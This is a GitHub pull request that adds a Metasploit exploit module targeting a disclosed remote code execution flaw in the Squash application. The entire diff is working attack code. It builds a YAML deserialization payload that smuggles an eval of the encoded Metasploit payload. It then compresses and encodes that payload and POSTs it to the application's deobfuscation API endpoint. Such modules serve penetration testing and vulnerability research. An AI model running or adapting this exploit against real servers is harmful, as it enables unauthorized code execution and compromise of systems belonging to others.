Merge pull request #1 from CharlieEriksen/squash-rce

Adding Squash RCE exploit module

modules/exploits/unix/webapp/squash_yaml_exec.rb

@@ -0,0 +1,63 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+require 'zlib'
+require 'base64'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Squash YAML Code Exec',
+			'Description'    => %q{
+					This module exploits a remote code execution vulnerability in the
+				YAML request processor of the Squash application.
+			},
+			'Author'         =>
+				[
+					'Charlie Eriksen', # Discovery, initial exploit
+				],
+			'License'        => MSF_LICENSE,
+			'References'     =>
+				[
+					[ 'URL', 'http://ceriksen.com/2013/08/06/squash-remote-code-execution-vulnerability-advisory/'],
+				],
+			'Platform'       => 'ruby',
+			'Arch'           => ARCH_RUBY,
+			'Privileged'     => false,
+			'Targets'        =>	[ ['Automatic', {} ] ],
+			'DisclosureDate' => 'Aug 06 2013',
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				Opt::RPORT(80),
+				OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
+			], self.class)
+
+	end
+
+
+	def exploit
+		code = Rex::Text.encode_base64(payload.encoded)
+		yaml =	"--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
+			"'#{Rex::Text.rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " +
+			": !ruby/object:OpenStruct\n table:\n  :defaults: {}\n"
+		payload = Base64.encode64(Zlib::Deflate.deflate(yaml)).gsub("\n", "")
+		data = "{\"api_key\":\"1\",\"environment\":\"production\",\"build\":\"1\",\"namespace\":\"#{payload}\"}"
+		send_request_cgi({
+			'uri'     => '/api/1.0/deobfuscation',
+			'method'  => 'POST',
+			'ctype'   => 'application/json',
+			'data'    => data
+		}, 30)
+	end
+end